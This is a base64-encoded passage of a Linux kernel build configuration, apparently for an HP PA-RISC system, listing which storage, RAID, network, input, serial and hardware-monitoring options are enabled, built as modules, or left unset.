R19TQ1NJX0NIRUxTSU9fRkNPRSBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX0RIPXkKIyBDT05G
SUdfU0NTSV9ESF9SREFDIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ESF9IUF9TVyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfREhfRU1DIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9E
SF9BTFVBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9PU0RfSU5JVElBVE9SIGlzIG5vdCBz
ZXQKQ09ORklHX0FUQT15CiMgQ09ORklHX0FUQV9OT05TVEFOREFSRCBpcyBub3Qgc2V0CkNP
TkZJR19BVEFfVkVSQk9TRV9FUlJPUj15CkNPTkZJR19TQVRBX1BNUD15CgojCiMgQ29udHJv
bGxlcnMgd2l0aCBub24tU0ZGIG5hdGl2ZSBpbnRlcmZhY2UKIwojIENPTkZJR19TQVRBX0FI
Q0kgaXMgbm90IHNldAojIENPTkZJR19TQVRBX0FIQ0lfUExBVEZPUk0gaXMgbm90IHNldAoj
IENPTkZJR19TQVRBX0lOSUMxNjJYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9BQ0FSRF9B
SENJIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9TSUwyNCBpcyBub3Qgc2V0CkNPTkZJR19B
VEFfU0ZGPXkKCiMKIyBTRkYgY29udHJvbGxlcnMgd2l0aCBjdXN0b20gRE1BIGludGVyZmFj
ZQojCiMgQ09ORklHX1BEQ19BRE1BIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9RU1RPUiBp
cyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfU1g0IGlzIG5vdCBzZXQKQ09ORklHX0FUQV9CTURN
QT15CgojCiMgU0FUQSBTRkYgY29udHJvbGxlcnMgd2l0aCBCTURNQQojCiMgQ09ORklHX0FU
QV9QSUlYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9ISUdIQkFOSyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NBVEFfTVYgaXMgbm90IHNldAojIENPTkZJR19TQVRBX05WIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0FUQV9QUk9NSVNFIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9TSUwgaXMg
bm90IHNldAojIENPTkZJR19TQVRBX1NJUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfU1ZX
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9VTEkgaXMgbm90IHNldAojIENPTkZJR19TQVRB
X1ZJQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfVklURVNTRSBpcyBub3Qgc2V0CgojCiMg
UEFUQSBTRkYgY29udHJvbGxlcnMgd2l0aCBCTURNQQojCiMgQ09ORklHX1BBVEFfQUxJIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BTUQgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0FS
VE9QIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BVElJWFAgaXMgbm90IHNldAojIENPTkZJ
R19QQVRBX0FUUDg2N1ggaXMgbm90IHNldAojIENPTkZJR19QQVRBX0NNRDY0WCBpcyBub3Qg
c2V0CiMgQ09ORklHX1BBVEFfQ1M1NTIwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9DUzU1
MzAgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0NTNTUzNiBpcyBub3Qgc2V0CiMgQ09ORklH
X1BBVEFfQ1lQUkVTUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfRUZBUiBpcyBub3Qgc2V0
CiMgQ09ORklHX1BBVEFfSFBUMzY2IGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9IUFQzN1gg
aXMgbm90IHNldAojIENPTkZJR19QQVRBX0hQVDNYMk4gaXMgbm90IHNldAojIENPTkZJR19Q
QVRBX0hQVDNYMyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfSVQ4MjEzIGlzIG5vdCBzZXQK
IyBDT05GSUdfUEFUQV9JVDgyMVggaXMgbm90IHNldAojIENPTkZJR19QQVRBX0pNSUNST04g
aXMgbm90IHNldAojIENPTkZJR19QQVRBX01BUlZFTEwgaXMgbm90IHNldAojIENPTkZJR19Q
QVRBX05FVENFTEwgaXMgbm90IHNldAojIENPTkZJR19QQVRBX05JTkpBMzIgaXMgbm90IHNl
dAojIENPTkZJR19QQVRBX05TODc0MTUgaXMgbm90IHNldAojIENPTkZJR19QQVRBX09MRFBJ
SVggaXMgbm90IHNldAojIENPTkZJR19QQVRBX09QVElETUEgaXMgbm90IHNldAojIENPTkZJ
R19QQVRBX1BEQzIwMjdYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9QRENfT0xEIGlzIG5v
dCBzZXQKIyBDT05GSUdfUEFUQV9SQURJU1lTIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9S
REMgaXMgbm90IHNldAojIENPTkZJR19QQVRBX1NDMTIwMCBpcyBub3Qgc2V0CiMgQ09ORklH
X1BBVEFfU0NIIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9TRVJWRVJXT1JLUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1BBVEFfU0lMNjgwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9TSVMg
aXMgbm90IHNldAojIENPTkZJR19QQVRBX1RPU0hJQkEgaXMgbm90IHNldAojIENPTkZJR19Q
QVRBX1RSSUZMRVggaXMgbm90IHNldAojIENPTkZJR19QQVRBX1ZJQSBpcyBub3Qgc2V0CiMg
Q09ORklHX1BBVEFfV0lOQk9ORCBpcyBub3Qgc2V0CgojCiMgUElPLW9ubHkgU0ZGIGNvbnRy
b2xsZXJzCiMKIyBDT05GSUdfUEFUQV9DTUQ2NDBfUENJIGlzIG5vdCBzZXQKIyBDT05GSUdf
UEFUQV9NUElJWCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfTlM4NzQxMCBpcyBub3Qgc2V0
CiMgQ09ORklHX1BBVEFfT1BUSSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfUloxMDAwIGlz
IG5vdCBzZXQKCiMKIyBHZW5lcmljIGZhbGxiYWNrIC8gbGVnYWN5IGRyaXZlcnMKIwpDT05G
SUdfQVRBX0dFTkVSSUM9eQojIENPTkZJR19QQVRBX0xFR0FDWSBpcyBub3Qgc2V0CkNPTkZJ
R19NRD15CkNPTkZJR19CTEtfREVWX01EPW0KQ09ORklHX01EX0xJTkVBUj1tCkNPTkZJR19N
RF9SQUlEMD1tCkNPTkZJR19NRF9SQUlEMT1tCkNPTkZJR19NRF9SQUlEMTA9bQpDT05GSUdf
TURfUkFJRDQ1Nj1tCiMgQ09ORklHX01EX01VTFRJUEFUSCBpcyBub3Qgc2V0CiMgQ09ORklH
X01EX0ZBVUxUWSBpcyBub3Qgc2V0CiMgQ09ORklHX0JDQUNIRSBpcyBub3Qgc2V0CkNPTkZJ
R19CTEtfREVWX0RNPW0KIyBDT05GSUdfRE1fREVCVUcgaXMgbm90IHNldAojIENPTkZJR19E
TV9DUllQVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX1NOQVBTSE9UIGlzIG5vdCBzZXQKIyBD
T05GSUdfRE1fVEhJTl9QUk9WSVNJT05JTkcgaXMgbm90IHNldAojIENPTkZJR19ETV9DQUNI
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX01JUlJPUiBpcyBub3Qgc2V0CkNPTkZJR19ETV9S
QUlEPW0KIyBDT05GSUdfRE1fWkVSTyBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX01VTFRJUEFU
SCBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX0RFTEFZIGlzIG5vdCBzZXQKQ09ORklHX0RNX1VF
VkVOVD15CiMgQ09ORklHX0RNX0ZMQUtFWSBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX1ZFUklU
WSBpcyBub3Qgc2V0CiMgQ09ORklHX1RBUkdFVF9DT1JFIGlzIG5vdCBzZXQKIyBDT05GSUdf
RlVTSU9OIGlzIG5vdCBzZXQKCiMKIyBJRUVFIDEzOTQgKEZpcmVXaXJlKSBzdXBwb3J0CiMK
IyBDT05GSUdfRklSRVdJUkUgaXMgbm90IHNldAojIENPTkZJR19GSVJFV0lSRV9OT1NZIGlz
IG5vdCBzZXQKIyBDT05GSUdfSTJPIGlzIG5vdCBzZXQKQ09ORklHX05FVERFVklDRVM9eQpD
T05GSUdfTkVUX0NPUkU9eQojIENPTkZJR19CT05ESU5HIGlzIG5vdCBzZXQKQ09ORklHX0RV
TU1ZPW0KIyBDT05GSUdfRVFVQUxJWkVSIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0ZDIGlz
IG5vdCBzZXQKQ09ORklHX01JST1tCiMgQ09ORklHX05FVF9URUFNIGlzIG5vdCBzZXQKQ09O
RklHX01BQ1ZMQU49bQpDT05GSUdfTUFDVlRBUD1tCiMgQ09ORklHX1ZYTEFOIGlzIG5vdCBz
ZXQKQ09ORklHX05FVENPTlNPTEU9bQpDT05GSUdfTkVUQ09OU09MRV9EWU5BTUlDPXkKQ09O
RklHX05FVFBPTEw9eQojIENPTkZJR19ORVRQT0xMX1RSQVAgaXMgbm90IHNldApDT05GSUdf
TkVUX1BPTExfQ09OVFJPTExFUj15CkNPTkZJR19UVU49eQojIENPTkZJR19WRVRIIGlzIG5v
dCBzZXQKIyBDT05GSUdfQVJDTkVUIGlzIG5vdCBzZXQKCiMKIyBDQUlGIHRyYW5zcG9ydCBk
cml2ZXJzCiMKCiMKIyBEaXN0cmlidXRlZCBTd2l0Y2ggQXJjaGl0ZWN0dXJlIGRyaXZlcnMK
IwojIENPTkZJR19ORVRfRFNBX01WODhFNlhYWCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9E
U0FfTVY4OEU2MDYwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0RTQV9NVjg4RTZYWFhfTkVF
RF9QUFUgaXMgbm90IHNldAojIENPTkZJR19ORVRfRFNBX01WODhFNjEzMSBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9EU0FfTVY4OEU2MTIzXzYxXzY1IGlzIG5vdCBzZXQKQ09ORklHX0VU
SEVSTkVUPXkKIyBDT05GSUdfTkVUX1ZFTkRPUl8zQ09NIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVUX1ZFTkRPUl9BREFQVEVDIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9BTFRF
T04gaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX0FNRCBpcyBub3Qgc2V0CiMgQ09O
RklHX05FVF9WRU5ET1JfQVRIRVJPUyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9DQURFTkNF
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9CUk9BRENPTSBpcyBub3Qgc2V0CiMg
Q09ORklHX05FVF9WRU5ET1JfQlJPQ0FERSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9DQUxY
RURBX1hHTUFDIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9DSEVMU0lPIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9DSVNDTyBpcyBub3Qgc2V0CiMgQ09ORklHX0RO
RVQgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9ERUM9eQpDT05GSUdfTkVUX1RVTElQ
PXkKIyBDT05GSUdfREUyMTA0WCBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUD15CiMgQ09ORklH
X1RVTElQX01XSSBpcyBub3Qgc2V0CiMgQ09ORklHX1RVTElQX01NSU8gaXMgbm90IHNldAoj
IENPTkZJR19UVUxJUF9OQVBJIGlzIG5vdCBzZXQKIyBDT05GSUdfREU0WDUgaXMgbm90IHNl
dAojIENPTkZJR19XSU5CT05EXzg0MCBpcyBub3Qgc2V0CiMgQ09ORklHX0RNOTEwMiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1VMSTUyNlggaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9S
X0RMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9FTVVMRVggaXMgbm90IHNl
dAojIENPTkZJR19ORVRfVkVORE9SX0VYQVIgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRP
Ul9IUD15CkNPTkZJR19IUDEwMD1tCkNPTkZJR19ORVRfVkVORE9SX0lOVEVMPXkKIyBDT05G
SUdfRTEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0UxMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdf
RTEwMDBFIGlzIG5vdCBzZXQKIyBDT05GSUdfSUdCIGlzIG5vdCBzZXQKIyBDT05GSUdfSUdC
VkYgaXMgbm90IHNldAojIENPTkZJR19JWEdCIGlzIG5vdCBzZXQKIyBDT05GSUdfSVhHQkUg
aXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9JODI1WFg9eQpDT05GSUdfTEFTSV84MjU5
Nj15CiMgQ09ORklHX0lQMTAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0pNRSBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9WRU5ET1JfTUFSVkVMTCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9W
RU5ET1JfTUVMTEFOT1ggaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX01JQ1JFTCBp
cyBub3Qgc2V0CiMgQ09ORklHX05FVF9WRU5ET1JfTVlSSSBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZFQUxOWCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9WRU5ET1JfTkFUU0VNSSBpcyBub3Qg
c2V0CiMgQ09ORklHX05FVF9WRU5ET1JfTlZJRElBIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X1ZFTkRPUl9PS0kgaXMgbm90IHNldAojIENPTkZJR19FVEhPQyBpcyBub3Qgc2V0CkNPTkZJ
R19ORVRfUEFDS0VUX0VOR0lORT15CiMgQ09ORklHX0hBTUFDSEkgaXMgbm90IHNldAojIENP
TkZJR19ZRUxMT1dGSU4gaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9RTE9HSUM9eQpD
T05GSUdfUUxBM1hYWD1tCkNPTkZJR19RTENOSUM9bQpDT05GSUdfUUxDTklDX1NSSU9WPXkK
Q09ORklHX1FMR0U9bQojIENPTkZJR19ORVRYRU5fTklDIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVUX1ZFTkRPUl9SRUFMVEVLIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9SREMg
aXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1NFRVEgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfVkVORE9SX1NJTEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9TSVMg
aXMgbm90IHNldAojIENPTkZJR19TRkMgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9S
X1NNU0MgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1NUTUlDUk8gaXMgbm90IHNl
dAojIENPTkZJR19ORVRfVkVORE9SX1NVTiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9WRU5E
T1JfVEVIVVRJIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9USSBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9WRU5ET1JfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRP
Ul9XSVpORVQgaXMgbm90IHNldAojIENPTkZJR19GRERJIGlzIG5vdCBzZXQKIyBDT05GSUdf
SElQUEkgaXMgbm90IHNldApDT05GSUdfUEhZTElCPXkKCiMKIyBNSUkgUEhZIGRldmljZSBk
cml2ZXJzCiMKIyBDT05GSUdfQVQ4MDNYX1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX0FNRF9Q
SFkgaXMgbm90IHNldApDT05GSUdfTUFSVkVMTF9QSFk9bQpDT05GSUdfREFWSUNPTV9QSFk9
bQpDT05GSUdfUVNFTUlfUEhZPW0KQ09ORklHX0xYVF9QSFk9bQpDT05GSUdfQ0lDQURBX1BI
WT1tCkNPTkZJR19WSVRFU1NFX1BIWT1tCkNPTkZJR19TTVNDX1BIWT1tCkNPTkZJR19CUk9B
RENPTV9QSFk9bQojIENPTkZJR19CQ004N1hYX1BIWSBpcyBub3Qgc2V0CkNPTkZJR19JQ1BM
VVNfUEhZPW0KQ09ORklHX1JFQUxURUtfUEhZPW0KQ09ORklHX05BVElPTkFMX1BIWT1tCkNP
TkZJR19TVEUxMFhQPW0KQ09ORklHX0xTSV9FVDEwMTFDX1BIWT1tCiMgQ09ORklHX01JQ1JF
TF9QSFkgaXMgbm90IHNldAojIENPTkZJR19GSVhFRF9QSFkgaXMgbm90IHNldApDT05GSUdf
TURJT19CSVRCQU5HPW0KIyBDT05GSUdfUFBQIGlzIG5vdCBzZXQKQ09ORklHX1NMSVA9bQpD
T05GSUdfU0xIQz1tCkNPTkZJR19TTElQX0NPTVBSRVNTRUQ9eQpDT05GSUdfU0xJUF9TTUFS
VD15CkNPTkZJR19TTElQX01PREVfU0xJUDY9eQoKIwojIFVTQiBOZXR3b3JrIEFkYXB0ZXJz
CiMKIyBDT05GSUdfVVNCX0NBVEMgaXMgbm90IHNldAojIENPTkZJR19VU0JfS0FXRVRIIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX1BFR0FTVVMgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
UlRMODE1MCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9SVEw4MTUyIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX1VTQk5FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JUEhFVEggaXMgbm90
IHNldAojIENPTkZJR19XTEFOIGlzIG5vdCBzZXQKCiMKIyBFbmFibGUgV2lNQVggKE5ldHdv
cmtpbmcgb3B0aW9ucykgdG8gc2VlIHRoZSBXaU1BWCBkcml2ZXJzCiMKIyBDT05GSUdfV0FO
IGlzIG5vdCBzZXQKIyBDT05GSUdfVk1YTkVUMyBpcyBub3Qgc2V0CiMgQ09ORklHX0lTRE4g
aXMgbm90IHNldAoKIwojIElucHV0IGRldmljZSBzdXBwb3J0CiMKQ09ORklHX0lOUFVUPXkK
Q09ORklHX0lOUFVUX0ZGX01FTUxFU1M9bQojIENPTkZJR19JTlBVVF9QT0xMREVWIGlzIG5v
dCBzZXQKIyBDT05GSUdfSU5QVVRfU1BBUlNFS01BUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
UFVUX01BVFJJWEtNQVAgaXMgbm90IHNldAoKIwojIFVzZXJsYW5kIGludGVyZmFjZXMKIwpD
T05GSUdfSU5QVVRfTU9VU0VERVY9eQpDT05GSUdfSU5QVVRfTU9VU0VERVZfUFNBVVg9eQpD
T05GSUdfSU5QVVRfTU9VU0VERVZfU0NSRUVOX1g9MTAyNApDT05GSUdfSU5QVVRfTU9VU0VE
RVZfU0NSRUVOX1k9NzY4CiMgQ09ORklHX0lOUFVUX0pPWURFViBpcyBub3Qgc2V0CkNPTkZJ
R19JTlBVVF9FVkRFVj15CiMgQ09ORklHX0lOUFVUX0VWQlVHIGlzIG5vdCBzZXQKCiMKIyBJ
bnB1dCBEZXZpY2UgRHJpdmVycwojCkNPTkZJR19JTlBVVF9LRVlCT0FSRD15CkNPTkZJR19L
RVlCT0FSRF9BVEtCRD15CkNPTkZJR19LRVlCT0FSRF9BVEtCRF9IUF9LRVlDT0RFUz15CiMg
Q09ORklHX0tFWUJPQVJEX0FUS0JEX1JESV9LRVlDT0RFUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0tFWUJPQVJEX0xLS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfSElMX09MRCBp
cyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX0hJTCBpcyBub3Qgc2V0CiMgQ09ORklHX0tF
WUJPQVJEX05FV1RPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX09QRU5DT1JFUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX1NUT1dBV0FZIGlzIG5vdCBzZXQKIyBDT05G
SUdfS0VZQk9BUkRfU1VOS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfWFRLQkQg
aXMgbm90IHNldAojIENPTkZJR19JTlBVVF9NT1VTRSBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
UFVUX0pPWVNUSUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfVEFCTEVUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSU5QVVRfVE9VQ0hTQ1JFRU4gaXMgbm90IHNldApDT05GSUdfSU5QVVRf
TUlTQz15CiMgQ09ORklHX0lOUFVUX0FENzE0WCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVU
X0FUSV9SRU1PVEUyIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfS0VZU1BBTl9SRU1PVEUg
aXMgbm90IHNldAojIENPTkZJR19JTlBVVF9QT1dFUk1BVEUgaXMgbm90IHNldAojIENPTkZJ
R19JTlBVVF9ZRUFMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfQ00xMDkgaXMgbm90
IHNldAojIENPTkZJR19JTlBVVF9VSU5QVVQgaXMgbm90IHNldApDT05GSUdfSFBfU0RDX1JU
Qz1tCiMgQ09ORklHX0lOUFVUX0FEWEwzNFggaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9J
TVNfUENVIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfQ01BMzAwMCBpcyBub3Qgc2V0Cgoj
CiMgSGFyZHdhcmUgSS9PIHBvcnRzCiMKQ09ORklHX1NFUklPPXkKQ09ORklHX1NFUklPX1NF
UlBPUlQ9bQpDT05GSUdfU0VSSU9fR1NDUFMyPXkKQ09ORklHX0hQX1NEQz1tCkNPTkZJR19I
SUxfTUxDPW0KIyBDT05GSUdfU0VSSU9fUENJUFMyIGlzIG5vdCBzZXQKQ09ORklHX1NFUklP
X0xJQlBTMj15CkNPTkZJR19TRVJJT19SQVc9bQojIENPTkZJR19TRVJJT19BTFRFUkFfUFMy
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSU9fUFMyTVVMVCBpcyBub3Qgc2V0CiMgQ09ORklH
X1NFUklPX0FSQ19QUzIgaXMgbm90IHNldAojIENPTkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0
CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVFRZPXkKQ09ORklHX1ZUPXkKQ09O
RklHX0NPTlNPTEVfVFJBTlNMQVRJT05TPXkKQ09ORklHX1ZUX0NPTlNPTEU9eQpDT05GSUdf
SFdfQ09OU09MRT15CkNPTkZJR19WVF9IV19DT05TT0xFX0JJTkRJTkc9eQpDT05GSUdfVU5J
WDk4X1BUWVM9eQpDT05GSUdfREVWUFRTX01VTFRJUExFX0lOU1RBTkNFUz15CiMgQ09ORklH
X0xFR0FDWV9QVFlTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlz
IG5vdCBzZXQKQ09ORklHX05PWk9NST1tCiMgQ09ORklHX05fR1NNIGlzIG5vdCBzZXQKIyBD
T05GSUdfVFJBQ0VfU0lOSyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFVktNRU0gaXMgbm90IHNl
dAoKIwojIFNlcmlhbCBkcml2ZXJzCiMKQ09ORklHX1NFUklBTF84MjUwPXkKIyBDT05GSUdf
U0VSSUFMXzgyNTBfREVQUkVDQVRFRF9PUFRJT05TIGlzIG5vdCBzZXQKQ09ORklHX1NFUklB
TF84MjUwX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMXzgyNTBfR1NDPXkKQ09ORklHX1NFUklB
TF84MjUwX1BDST15CkNPTkZJR19TRVJJQUxfODI1MF9OUl9VQVJUUz0zMgpDT05GSUdfU0VS
SUFMXzgyNTBfUlVOVElNRV9VQVJUUz00CkNPTkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRD15
CkNPTkZJR19TRVJJQUxfODI1MF9NQU5ZX1BPUlRTPXkKQ09ORklHX1NFUklBTF84MjUwX1NI
QVJFX0lSUT15CiMgQ09ORklHX1NFUklBTF84MjUwX0RFVEVDVF9JUlEgaXMgbm90IHNldAoj
IENPTkZJR19TRVJJQUxfODI1MF9SU0EgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfODI1
MF9EVyBpcyBub3Qgc2V0CgojCiMgTm9uLTgyNTAgc2VyaWFsIHBvcnQgc3VwcG9ydAojCiMg
Q09ORklHX1NFUklBTF9NRkRfSFNVIGlzIG5vdCBzZXQKQ09ORklHX1NFUklBTF9NVVg9eQpD
T05GSUdfU0VSSUFMX01VWF9DT05TT0xFPXkKQ09ORklHX1NFUklBTF9DT1JFPXkKQ09ORklH
X1NFUklBTF9DT1JFX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMX0pTTT1tCiMgQ09ORklHX1NF
UklBTF9TQ0NOWFAgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfVElNQkVSREFMRSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFUklBTF9BTFRFUkFfSlRBR1VBUlQgaXMgbm90IHNldAojIENP
TkZJR19TRVJJQUxfQUxURVJBX1VBUlQgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfUENI
X1VBUlQgaXMgbm90IHNldAojIENPTkZJR19TRVJJQUxfQVJDIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0VSSUFMX1JQMiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQTUlfSEFORExFUiBpcyBub3Qg
c2V0CkNPTkZJR19IV19SQU5ET009bQpDT05GSUdfSFdfUkFORE9NX1RJTUVSSU9NRU09bQpD
T05GSUdfSFdfUkFORE9NX1RQTT1tCiMgQ09ORklHX1IzOTY0IGlzIG5vdCBzZXQKIyBDT05G
SUdfQVBQTElDT00gaXMgbm90IHNldAojIENPTkZJR19SQVdfRFJJVkVSIGlzIG5vdCBzZXQK
Q09ORklHX1RDR19UUE09bQpDT05GSUdfVENHX0FUTUVMPW0KQ09ORklHX0RFVlBPUlQ9eQoj
IENPTkZJR19JMkMgaXMgbm90IHNldAojIENPTkZJR19TUEkgaXMgbm90IHNldAoKIwojIFF1
YWxjb21tIE1TTSBTU0JJIGJ1cyBzdXBwb3J0CiMKIyBDT05GSUdfU1NCSSBpcyBub3Qgc2V0
CiMgQ09ORklHX0hTSSBpcyBub3Qgc2V0CgojCiMgUFBTIHN1cHBvcnQKIwpDT05GSUdfUFBT
PW0KIyBDT05GSUdfUFBTX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfTlRQX1BQUyBpcyBu
b3Qgc2V0CgojCiMgUFBTIGNsaWVudHMgc3VwcG9ydAojCiMgQ09ORklHX1BQU19DTElFTlRf
S1RJTUVSIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBTX0NMSUVOVF9MRElTQyBpcyBub3Qgc2V0
CiMgQ09ORklHX1BQU19DTElFTlRfR1BJTyBpcyBub3Qgc2V0CgojCiMgUFBTIGdlbmVyYXRv
cnMgc3VwcG9ydAojCgojCiMgUFRQIGNsb2NrIHN1cHBvcnQKIwpDT05GSUdfUFRQXzE1ODhf
Q0xPQ0s9bQoKIwojIEVuYWJsZSBQSFlMSUIgYW5kIE5FVFdPUktfUEhZX1RJTUVTVEFNUElO
RyB0byBzZWUgdGhlIGFkZGl0aW9uYWwgY2xvY2tzLgojCiMgQ09ORklHX1BUUF8xNTg4X0NM
T0NLX1BDSCBpcyBub3Qgc2V0CkNPTkZJR19HUElPX0RFVlJFUz15CiMgQ09ORklHX1cxIGlz
IG5vdCBzZXQKIyBDT05GSUdfUE9XRVJfU1VQUExZIGlzIG5vdCBzZXQKIyBDT05GSUdfUE9X
RVJfQVZTIGlzIG5vdCBzZXQKQ09ORklHX0hXTU9OPW0KQ09ORklHX0hXTU9OX1ZJRD1tCiMg
Q09ORklHX0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldAoKIwojIE5hdGl2ZSBkcml2ZXJz
CiMKQ09ORklHX1NFTlNPUlNfSTVLX0FNQj1tCiMgQ09ORklHX1NFTlNPUlNfRjcxODA1RiBp
cyBub3Qgc2V0CkNPTkZJR19TRU5TT1JTX0Y3MTg4MkZHPW0KIyBDT05GSUdfU0VOU09SU19J
VDg3IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19NQVgxOTcgaXMgbm90IHNldAojIENP
TkZJR19TRU5TT1JTX05DVDY3NzUgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX05UQ19U
SEVSTUlTVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19QQzg3MzYwIGlzIG5vdCBz
ZXQKQ09ORklHX1NFTlNPUlNfUEM4NzQyNz1tCiMgQ09ORklHX1NFTlNPUlNfU0lTNTU5NSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfU01TQzQ3TTEgaXMgbm90IHNldAojIENPTkZJ
